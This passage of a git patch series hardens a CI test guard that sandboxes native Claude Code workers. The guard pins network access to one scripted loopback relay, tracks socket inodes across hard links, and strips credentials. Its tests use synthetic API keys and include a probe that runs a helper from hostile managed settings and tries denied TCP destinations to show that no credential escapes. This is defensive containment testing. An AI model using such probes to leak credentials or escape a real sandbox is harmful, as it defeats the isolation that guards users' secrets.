b/tests/fixtures/autonomous-runtime-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { startFixtureTurn } from "./worker-input-fixture.js"; diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index a9c4a8053b..42470aa6ca 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -1,3 +1,4 @@ +import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** Actual ordinary adapter and server bridge behind kernel loopback isolation. */ diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 87c148a60d..a04b91377b 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -173,17 +173,18 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA"; + const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); const leave=nativeScriptedService("http://127.0.0.1:1"); - for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token}]){ + for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_AUTH_TOKEN:bearer}]){ const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",...creds}}); const injected={};for(let i=0;i { + for (const ambiguous of [false, true]) { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-declared-route-")); + try { + const result = await probe(`${imports} + import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + nativeScriptedService("http://127.0.0.1:1")(); + const socket=${JSON.stringify(join(scratch, "relay.sock"))}; + const relay=Bun.serve({unix:socket,fetch(){return new Response("Ithaca");}}); + ${ambiguous ? 'nativeScriptedService("http://127.0.0.1:2")();' : ""} + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], + env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});} + finally{relay.stop(true);}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain(ambiguous ? "native relay did not match scripted authority" : "positive native proof requires a hosted runner"); + expect(result.output).toContain('"nativeLaunched":false'); + } finally { rmSync(scratch, { recursive: true, force: true }); } + } +}); + +test("qualification metadata preserves explicit child environment overrides", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-context-")); + try { + const result = await probe(`${imports} + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const child=Bun.spawn([process.execPath,"-e",'console.error(JSON.stringify({actions:process.env.GITHUB_ACTIONS,runner:process.env.RUNNER_ENVIRONMENT,head:process.env.BRAIN_NATIVE_TEST_HEAD}))'], + {env:{PATH:"/usr/bin:/bin",GITHUB_ACTIONS:"false",RUNNER_ENVIRONMENT:"fixture"},stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); + const context=JSON.parse(err.trim()); + if(code!==0||context.actions!=="false"||context.runner!=="fixture"||!/^[0-9a-f]{40}$/.test(context.head))throw Error("explicit child context was overwritten");`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); @@ -376,12 +411,15 @@ settings=json.load(open('/etc/claude-code/managed-settings.json')) helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: + probe=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: - socket.create_connection((host,port),timeout=1) + probe.connect((host,port)) except OSError: pass else: raise RuntimeError('unintended native destination reached') + finally: + probe.close() connection=http.client.HTTPConnection('localhost') connection.sock=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) connection.sock.connect(os.environ['ANTHROPIC_UNIX_SOCKET']) From fdd91cc518c58245f8ebe442214fb9474c932a3e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:38:22 +0000 Subject: [PATCH 026/187] test(ci): exercise the installed spawn interceptor and classify absent authority --- scripts/test-native-guard.ts | 6 +++++- tests/native-offline-boundary.test.ts | 17 +++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index ce9651fb18..b4e3eb1b88 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -228,7 +228,11 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c /** One Unix socket forwards only to the explicitly selected scripted service. */ export function startNativeTestRelay(upstream: string | undefined) { let target: URL; - try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } + try { target = new URL(upstream!); } catch { + return refuse(declaredRoutes.size === 0 ? "missing scripted loopback service: no declared authority" + : declaredRoutes.size > 1 ? "missing scripted loopback service: ambiguous declared authorities" + : "missing scripted loopback service: declared authority absent from launch"); + } if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); if (target.hostname === "localhost") target.hostname = "127.0.0.1"; diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index a04b91377b..fa66e780ac 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -266,6 +266,23 @@ test("an immutable single scripted authority survives async scope loss, while am } }); +test("the installed spawn interceptor receives fixture authority before a synthetic bootstrap", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-spawn-authority-")); + try { + const bootstrap = `import {writeFileSync} from "node:fs";const launch=JSON.parse(process.env.BRAIN_WORKER_LAUNCH!);const args=launch.argv;writeFileSync(args[args.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});`; + const result = await probe(`${imports} + import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1"); + const child=Bun.spawn([process.execPath,"-e",${JSON.stringify(bootstrap)}],{env:{HOME:${JSON.stringify(scratch)},BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})},stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);if(code!==0)throw Error(err);`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("qualification metadata preserves explicit child environment overrides", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-context-")); try { From 00f9fbb8da62db1ed68069883302ba3becc1b9fa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:43:36 +0000 Subject: [PATCH 027/187] fix(ci): treat cleared native sockets as absent and bind app relay authority --- docs/process/testing.md | 5 +-- .../tests/fixtures/ordinary-identity-ws.ts | 1 + scripts/test-native-guard.ts | 28 ++++-------- tests/native-offline-boundary.test.ts | 44 ++++++++++--------- 4 files changed, 34 insertions(+), 44 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index d67beb9c9a..1bae08b3d7 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1147,10 +1147,7 @@ Restricted fixture code declares its scripted origin with and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone is never admission: a pre-existing, unregistered relay refuses. SDK runtime discovery includes every workspace owner and refuses unresolved declared SDKs. -If SDK/module async resources lose the caller's scope, a process with exactly -one explicitly declared scripted origin retains that immutable authority. A -second distinct origin permanently disables this fallback; ambiguous launches -require scoped authority. SDK fixture adapters pin the existing spawn callback +SDK fixture adapters pin the existing spawn callback to their declared service. Standalone native fixture entries load the preload, and outer namespaces preserve qualification metadata across `clearenv`. For the existing separate-UID identity supervisor, the guard transforms its diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 1d544eaa11..0e78eade76 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -39,6 +39,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); +nativeScriptedService(provider.url.origin); const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQuery(query, provider.url.origin), profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index b4e3eb1b88..79d47b01c6 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -228,11 +228,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c /** One Unix socket forwards only to the explicitly selected scripted service. */ export function startNativeTestRelay(upstream: string | undefined) { let target: URL; - try { target = new URL(upstream!); } catch { - return refuse(declaredRoutes.size === 0 ? "missing scripted loopback service: no declared authority" - : declaredRoutes.size > 1 ? "missing scripted loopback service: ambiguous declared authorities" - : "missing scripted loopback service: declared authority absent from launch"); - } + try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); if (target.hostname === "localhost") target.hostname = "127.0.0.1"; @@ -278,10 +274,10 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { refuse("native launch requires fixture-owned storage"); } const inheritedSocket = env.ANTHROPIC_UNIX_SOCKET; - const inheritedOrigin = inheritedSocket && ownedSocketOrigin(inheritedSocket); + const inheritedOrigin = inheritedSocket ? ownedSocketOrigin(inheritedSocket) : undefined; if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); - if (inheritedOrigin && (!currentScriptedRoute() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(currentScriptedRoute()!.origin))) refuse("native relay did not match scripted authority"); - const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? env.ANTHROPIC_BASE_URL ?? currentScriptedRoute()?.origin); + if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); + const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? env.ANTHROPIC_BASE_URL ?? scriptedRoute.getStore()?.origin); try { command = resolveExecutable(command, options); const executable = realpathSync(command); @@ -316,13 +312,6 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } const scriptedRoute = new AsyncLocalStorage | undefined>(); -const declaredRoutes = new Map>(); -function currentScriptedRoute(): Readonly<{ origin: string }> | undefined { - // SDK/module async resources can predate the fixture scope. A process that - // declared exactly one immutable authority has no alternate destination to - // select. A second distinct declaration permanently disables this fallback. - return scriptedRoute.getStore() ?? (declaredRoutes.size === 1 ? declaredRoutes.values().next().value : undefined); -} /** Test code pins its scripted service before building a restricted turn. */ export function nativeScriptedService(origin: string): () => void { @@ -330,7 +319,6 @@ export function nativeScriptedService(origin: string): () => void { if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); const previous = scriptedRoute.getStore(); const authority = Object.freeze({ origin: target.origin }); - declaredRoutes.set(target.origin, authority); scriptedRoute.enterWith(authority); return () => scriptedRoute.enterWith(previous); } @@ -357,7 +345,7 @@ function rememberRelay(path: string, origin: string): void { } export function guardNativeHttpListen(server: object, args: unknown[]): void { - const route = currentScriptedRoute(); + const route = scriptedRoute.getStore(); const first = args[0] as string | { path?: string } | undefined; const path = typeof first === "string" ? first : first?.path; if (!route || !path?.startsWith("/")) return; @@ -372,7 +360,7 @@ export function guardNativeHttpEvent(server: object, event: unknown, invoke: () /** The guard creates the server and binds every transport in its handler. */ export function guardNativeRelayServer(options: any, create: (options: any) => any): any { - const route = currentScriptedRoute(); + const route = scriptedRoute.getStore(); if (!route || typeof options.unix !== "string" || typeof options.fetch !== "function") return create(options); const original = options.fetch; const server = create({ ...options, fetch: function(this: unknown, ...args: unknown[]) { @@ -478,8 +466,8 @@ export function nativeWorkerBoundary(env: Record): { // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; - const route = currentScriptedRoute(); - const ownedOrigin = socket && admittedRelay(workerArgv, socket); + const route = scriptedRoute.getStore(); + const ownedOrigin = socket ? admittedRelay(workerArgv, socket) : undefined; if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index fa66e780ac..e6996d14ff 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -176,11 +176,11 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); const leave=nativeScriptedService("http://127.0.0.1:1"); for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_AUTH_TOKEN:bearer}]){ - const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",...creds}}); + const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",ANTHROPIC_UNIX_SOCKET:"",...creds}}); const injected={};for(let i=0;i { - for (const ambiguous of [false, true]) { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-declared-route-")); - try { - const result = await probe(`${imports} - import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - nativeScriptedService("http://127.0.0.1:1")(); - const socket=${JSON.stringify(join(scratch, "relay.sock"))}; - const relay=Bun.serve({unix:socket,fetch(){return new Response("Ithaca");}}); - ${ambiguous ? 'nativeScriptedService("http://127.0.0.1:2")();' : ""} - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], - env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});} - finally{relay.stop(true);}`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain(ambiguous ? "native relay did not match scripted authority" : "positive native proof requires a hosted runner"); - expect(result.output).toContain('"nativeLaunched":false'); - } finally { rmSync(scratch, { recursive: true, force: true }); } - } +test("fixture server callbacks retain authority while creating a native relay", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-server-authority-")); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const leave=nativeScriptedService("http://127.0.0.1:1");let relay; + const app=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){ + relay=Bun.serve({unix:${JSON.stringify(join(scratch, "relay.sock"))},fetch(){return new Response("Ithaca");}}); + const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], + env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();return new Response("scoped"); + }});leave(); + try{const response=await fetch(app.url);if(await response.text()!=="scoped")throw Error("server callback lost native authority");} + finally{app.stop(true);relay?.stop(true);}`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); } }); test("the installed spawn interceptor receives fixture authority before a synthetic bootstrap", async () => { From 21b74c53eec44a9aee2b8e63ab1e38965f877a25 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 21:47:51 +0000 Subject: [PATCH 028/187] fix(ci): retain live relay authority across sanctioned socket hard links --- docs/process/testing.md | 4 +++- scripts/test-native-guard.ts | 25 ++++++++++++++++--------- tests/native-offline-boundary.test.ts | 26 ++++++++++++++++++++++++++ 3 files changed, 45 insertions(+), 10 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 1bae08b3d7..c125999bad 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1145,7 +1145,9 @@ losing the broad read-only host root. An unavailable isolated view refuses. Restricted fixture code declares its scripted origin with `nativeScriptedService`. The guard creates Unix servers under that authority and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone -is never admission: a pre-existing, unregistered relay refuses. SDK runtime +is never admission: a pre-existing, unregistered relay refuses. Admission follows +the live guard-created socket inode across hard-link aliases and is revoked +when that server stops. SDK runtime discovery includes every workspace owner and refuses unresolved declared SDKs. SDK fixture adapters pin the existing spawn callback to their declared service. Standalone native fixture entries load the preload, diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 79d47b01c6..342375b887 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -337,11 +337,14 @@ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typ const relayForwarding = new AsyncLocalStorage>(); const ownedRelaySockets = new Map(); +const socketIdentity = (stat: { dev: bigint; ino: bigint }) => `${stat.dev}:${stat.ino}`; const ownedHttpServers = new WeakMap>(); -function rememberRelay(path: string, origin: string): void { +function rememberRelay(path: string, origin: string): () => void { const stat = lstatSync(path, { bigint: true }); - ownedRelaySockets.set(realpathSync(path), { origin, dev: stat.dev, ino: stat.ino }); + const key = socketIdentity(stat), authority = { origin, dev: stat.dev, ino: stat.ino }; + ownedRelaySockets.set(key, authority); + return () => { if (ownedRelaySockets.get(key) === authority) ownedRelaySockets.delete(key); }; } export function guardNativeHttpListen(server: object, args: unknown[]): void { @@ -350,7 +353,8 @@ export function guardNativeHttpListen(server: object, args: unknown[]): void { const path = typeof first === "string" ? first : first?.path; if (!route || !path?.startsWith("/")) return; ownedHttpServers.set(server, route); - (server as { once(event: string, callback: () => void): void }).once("listening", () => rememberRelay(path, route.origin)); + const events = server as { once(event: string, callback: () => void): void }; + events.once("listening", () => { const forget = rememberRelay(path, route.origin); events.once("close", forget); }); } export function guardNativeHttpEvent(server: object, event: unknown, invoke: () => unknown): unknown { @@ -366,7 +370,10 @@ export function guardNativeRelayServer(options: any, create: (options: any) => a const server = create({ ...options, fetch: function(this: unknown, ...args: unknown[]) { return relayForwarding.run(route, () => Reflect.apply(original, this, args)); } }); - rememberRelay(options.unix, route.origin); + const forget = rememberRelay(options.unix, route.origin), stop = server.stop; + // A hard link names the same live socket; a stopped server never leaves + // admission authority behind for a later object that reuses its inode. + server.stop = function(...args: unknown[]) { forget(); return Reflect.apply(stop, server, args); }; return server; } @@ -410,9 +417,9 @@ function relayCredentialPlaceholders(env: Record): R function ownedSocketOrigin(path: string): string | undefined { let real: string; try { real = realpathSync(path); } catch { return; } - const authority = ownedRelaySockets.get(real); - if (!authority) return; const stat = lstatSync(real, { bigint: true }); + const authority = ownedRelaySockets.get(socketIdentity(stat)); + if (!authority) return; return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; } @@ -422,9 +429,9 @@ function admittedRelay(argv: string[], socket: string): string | undefined { const path = join(argv[i + 1]!, socket.slice(argv[i + 2]!.length)); let real: string; try { real = realpathSync(path); } catch { continue; } - const authority = ownedRelaySockets.get(real); - if (!authority) continue; const stat = lstatSync(real, { bigint: true }); + const authority = ownedRelaySockets.get(socketIdentity(stat)); + if (!authority) continue; if (!stat.isSocket() || stat.dev !== authority.dev || stat.ino !== authority.ino) continue; // A directory mount exposes every socket it contains, not only the name // in ANTHROPIC_UNIX_SOCKET. Every such capability needs the same authority. @@ -432,7 +439,7 @@ function admittedRelay(argv: string[], socket: string): string | undefined { for (const name of directory ? readdirSync(directory) : []) { const sibling = join(directory!, name), info = lstatSync(sibling, { bigint: true }); if (!info.isSocket()) continue; - const peer = ownedRelaySockets.get(realpathSync(sibling)); + const peer = ownedRelaySockets.get(socketIdentity(info)); if (!peer || peer.origin !== authority.origin || peer.dev !== info.dev || peer.ino !== info.ino) return; } return authority.origin; diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e6996d14ff..b84c26e1ab 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -301,6 +301,32 @@ test("qualification metadata preserves explicit child environment overrides", as } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("a hard-link alias retains live guard-owned socket authority and loses it when the server stops", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-alias-")); + try { + const result = await probe(`${imports} + import {writeFileSync,linkSync} from "node:fs"; + import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1"); + const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; + const relay=Bun.serve({unix:source,fetch(){return new Response("Ithaca");}});linkSync(source,alias); + const launch={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay.sock"},argv:["bwrap","--ro-bind",alias,"/tmp/relay.sock","--",${JSON.stringify(runtime)}]})}; + const worker=nativeWorkerBoundary(launch),argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();console.error("SCRIPTED_ALIAS_ADMITTED"); + relay.stop(true); + const unexpected=nativeWorkerBoundary(launch),stoppedArgs=JSON.parse(unexpected.env.BRAIN_WORKER_LAUNCH).argv; + writeFileSync(stoppedArgs[stoppedArgs.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});unexpected.dispose();console.error("STOPPED_ALIAS_ADMITTED");`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain("SCRIPTED_ALIAS_ADMITTED"); + expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); + expect(result.output).not.toContain("STOPPED_ALIAS_ADMITTED"); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); From a7bfe267eb1a520da90825b7c340a1ccc5dcfd9f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 22:07:37 +0000 Subject: [PATCH 029/187] fix(ci): mount synthetic fixture tools and preserve native runtime selectors --- docs/process/testing.md | 16 ++++-- .../tests/safety-result-retention.test.ts | 3 +- scripts/measure-claude-runtime.ts | 8 +-- scripts/test-native-guard.ts | 49 ++++++++++++++++--- tests/native-offline-boundary.test.ts | 42 ++++++++++++++-- 5 files changed, 101 insertions(+), 17 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index c125999bad..feda425057 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1159,6 +1159,15 @@ containers inherit hosted-runner qualification only from an actual hosted run, plus the exact checkout head for receipts when Git metadata is not mounted. Worker environments retain only known runtime paths/selectors and pinned synthetic inference credentials; unrelated keys and loader overrides are removed. +Fixture tool directories on PATH are mounted read-only only from public fixture +sources or the private temporary storage containing the declared HOME/cwd. +Common ancestors and unrelated directories are never exposed; witnesses belong +inside an existing writable fixture HOME/cwd mount. `USE_BUILTIN_RIPGREP` and +`ENABLE_TOOL_SEARCH` retain their test-selected behavior. +The Unix inference transport deliberately has native tunnel authentication +semantics: when both synthetic key and OAuth variables are present, it selects +OAuth. Its measurement is labelled accordingly and does not prove ordinary TCP +credential precedence. No production authentication or managed-policy behavior changes. `tests/native-offline-boundary.test.ts` proves local refusal with harmless @@ -1166,8 +1175,9 @@ synthetic executables. Hosted proof additionally exercises hostile managed settings, an outside-HOME sentinel credential, helper descendants, denied TCP, and the one permitted scripted service; the child silently swallows denied connections, so the audit count comes from the boundary rather than child output. -The retention fixtures in #4312 separately integrate their instrumented `rg` -through the boundary PATH, `USE_BUILTIN_RIPGREP` and fixture mounts; their complete -retention qualification remains with #4274. Run installed-native backend and +The baseline retention fixture keeps its tool wrapper and runtime-rg alias +together in a read-only tool directory and its invocation witness in HOME. +PR #4312 changes that existing suite; its complete changed-head qualification +remains with #4274. Run installed-native backend and provider-history cells only in hosted CI; a temporary HOME and SDK options alone do not establish isolation. diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index 22dd8a410f..8cdf776817 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -67,7 +67,8 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType '${searched}'; sleep 3; exit "$code";; diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index ae412353fc..4407219342 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -863,11 +863,13 @@ async function credentialRows(model: ReturnType): Promise< r.auth.every((a) => a.xApiKey === API_KEY && !a.authorization) ? null : "expected x-api-key only"], - ["both (raw CLI)", { CLAUDE_CODE_OAUTH_TOKEN: OAUTH, 